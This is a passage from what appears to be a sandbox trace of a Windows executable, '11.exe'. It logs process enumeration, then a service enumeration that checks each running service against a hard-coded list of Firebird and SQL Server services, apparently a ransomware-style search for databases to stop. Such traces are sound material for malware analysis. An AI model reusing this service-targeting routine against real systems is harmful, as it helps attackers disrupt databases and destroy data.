pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0207.883] lstrlenW (lpString="11.exe") returned 6 [0207.883] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0207.884] lstrlenW (lpString="cmd.exe") returned 7 [0207.884] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0207.885] lstrlenW (lpString="conhost.exe") returned 11 [0207.885] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0207.886] lstrlenW (lpString="mode.com") returned 8 [0207.886] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0207.886] CloseHandle (hObject=0x2d8) returned 1 [0207.886] Sleep (dwMilliseconds=0x1f4) [0208.970] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8899a8 [0208.971] EnumServicesStatusExW (in: hSCManager=0x8899a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0208.971] GetLastError () returned 0xea [0208.971] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x4441488 [0208.971] EnumServicesStatusExW (in: hSCManager=0x8899a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4441488, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4441488, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0208.972] CloseServiceHandle (hSCObject=0x8899a8) returned 1 [0208.972] lstrlenW (lpString="Appinfo") returned 7 [0208.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0208.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0208.972] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0208.972] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0208.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0208.972] lstrlenW (lpString="AppXSvc") returned 7 [0208.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0208.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0208.972] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0208.972] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0208.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0208.972] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0208.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0208.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0208.972] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0208.972] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0208.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0208.972] lstrlenW (lpString="Audiosrv") returned 8 [0208.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0208.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0208.973] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0208.973] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0208.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0208.973] lstrlenW (lpString="BFE") returned 3 [0208.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0208.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0208.973] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0208.973] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0208.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0208.973] lstrlenW (lpString="BITS") returned 4 [0208.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0208.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0208.973] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0208.973] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0208.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0208.973] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0208.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0208.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0208.973] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0208.973] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0208.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0208.973] lstrlenW (lpString="CDPSvc") returned 6 [0208.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0208.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0208.973] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0208.973] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0208.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0208.973] lstrlenW (lpString="ClickToRunSvc") returned 13 [0208.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0208.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0208.973] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0208.973] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0208.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0208.973] lstrlenW (lpString="ClipSVC") returned 7 [0208.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0208.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0208.974] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0208.974] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0208.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0208.974] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0208.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0208.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0208.974] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0208.974] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0208.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0208.974] lstrlenW (lpString="CryptSvc") returned 8 [0208.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0208.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0208.974] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0208.974] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0208.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0208.974] lstrlenW (lpString="DcomLaunch") returned 10 [0208.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0208.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0208.974] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0208.974] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0208.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0208.974] lstrlenW (lpString="Dhcp") returned 4 [0208.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0208.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0208.974] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0208.974] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0208.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0208.974] lstrlenW (lpString="Dnscache") returned 8 [0208.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0208.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0208.974] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0208.974] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0208.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0208.974] lstrlenW (lpString="DoSvc") returned 5 [0208.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0208.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0208.975] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0208.975] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0208.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0208.975] lstrlenW (lpString="DPS") returned 3 [0208.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0208.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0208.975] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0208.975] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0208.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0208.975] lstrlenW (lpString="DusmSvc") returned 7 [0208.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0208.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0208.975] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0208.975] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0208.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0208.975] lstrlenW (lpString="EventLog") returned 8 [0208.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0208.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0208.975] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0208.975] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0208.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0208.975] lstrlenW (lpString="EventSystem") returned 11 [0208.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0208.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0208.975] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0208.975] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0208.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0208.975] lstrlenW (lpString="FontCache") returned 9 [0208.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0208.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0208.975] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0208.975] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0208.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0208.976] lstrlenW (lpString="gpsvc") returned 5 [0208.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0208.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0208.976] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0208.976] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0208.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0208.976] lstrlenW (lpString="iphlpsvc") returned 8 [0208.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0208.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0208.976] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0208.976] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0208.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0208.976] lstrlenW (lpString="KeyIso") returned 6 [0208.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0208.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0208.976] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0208.976] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0208.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0208.976] lstrlenW (lpString="LanmanServer") returned 12 [0208.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0208.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0208.976] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0208.976] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0208.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0208.976] lstrlenW (lpString="LanmanWorkstation") returned 17 [0208.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0208.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0208.976] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0208.976] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0208.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0208.976] lstrlenW (lpString="lfsvc") returned 5 [0208.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0208.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0208.976] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0208.976] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0208.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0208.977] lstrlenW (lpString="LicenseManager") returned 14 [0208.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0208.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0208.977] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0208.977] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0208.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0208.977] lstrlenW (lpString="lmhosts") returned 7 [0208.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0208.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0208.977] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0208.977] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0208.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0208.977] lstrlenW (lpString="LSM") returned 3 [0208.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0208.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0208.977] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0208.977] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0208.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0208.977] lstrlenW (lpString="MpsSvc") returned 6 [0208.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0208.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0208.977] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0208.977] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0208.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0208.977] lstrlenW (lpString="NcbService") returned 10 [0208.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0208.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0208.977] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0208.977] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0208.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0208.977] lstrlenW (lpString="netprofm") returned 8 [0208.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0208.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0208.977] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0208.978] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0208.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0208.978] lstrlenW (lpString="NlaSvc") returned 6 [0208.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0208.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0208.978] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0208.978] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0208.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0208.978] lstrlenW (lpString="nsi") returned 3 [0208.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0208.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0208.978] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0208.978] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0208.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0208.978] lstrlenW (lpString="PcaSvc") returned 6 [0208.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0208.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0208.978] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0208.978] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0208.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0208.978] lstrlenW (lpString="PlugPlay") returned 8 [0208.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0208.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0208.978] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0208.978] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0208.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0208.978] lstrlenW (lpString="Power") returned 5 [0208.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0208.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0208.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0208.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0208.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0208.978] lstrlenW (lpString="ProfSvc") returned 7 [0208.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0208.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0208.978] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0208.978] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0208.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0208.979] lstrlenW (lpString="RpcEptMapper") returned 12 [0208.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0208.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0208.979] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0208.979] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0208.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0208.979] lstrlenW (lpString="RpcSs") returned 5 [0208.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0208.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0208.979] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0208.979] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0208.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0208.979] lstrlenW (lpString="SamSs") returned 5 [0208.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0208.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0208.979] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0208.979] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0208.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0208.979] lstrlenW (lpString="Schedule") returned 8 [0208.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0208.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0208.979] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0208.979] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0208.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0208.979] lstrlenW (lpString="SecurityHealthService") returned 21 [0208.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0208.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0208.979] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0208.979] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0208.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0208.979] lstrlenW (lpString="SENS") returned 4 [0208.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0208.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0208.979] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0208.979] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0208.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0208.980] lstrlenW (lpString="ShellHWDetection") returned 16 [0208.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0208.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0208.980] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0208.980] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0208.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0208.980] lstrlenW (lpString="Spooler") returned 7 [0208.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0208.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0208.980] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0208.980] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0208.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0208.980] lstrlenW (lpString="SSDPSRV") returned 7 [0208.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0208.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0208.980] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0208.980] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0208.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0208.980] lstrlenW (lpString="StateRepository") returned 15 [0208.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0208.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0208.980] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0208.980] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0208.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0208.980] lstrlenW (lpString="SysMain") returned 7 [0208.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0208.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0208.980] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0208.980] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0208.980] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4441488 | out: hHeap=0x790000) returned 1 [0208.980] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x354 [0208.984] Process32FirstW 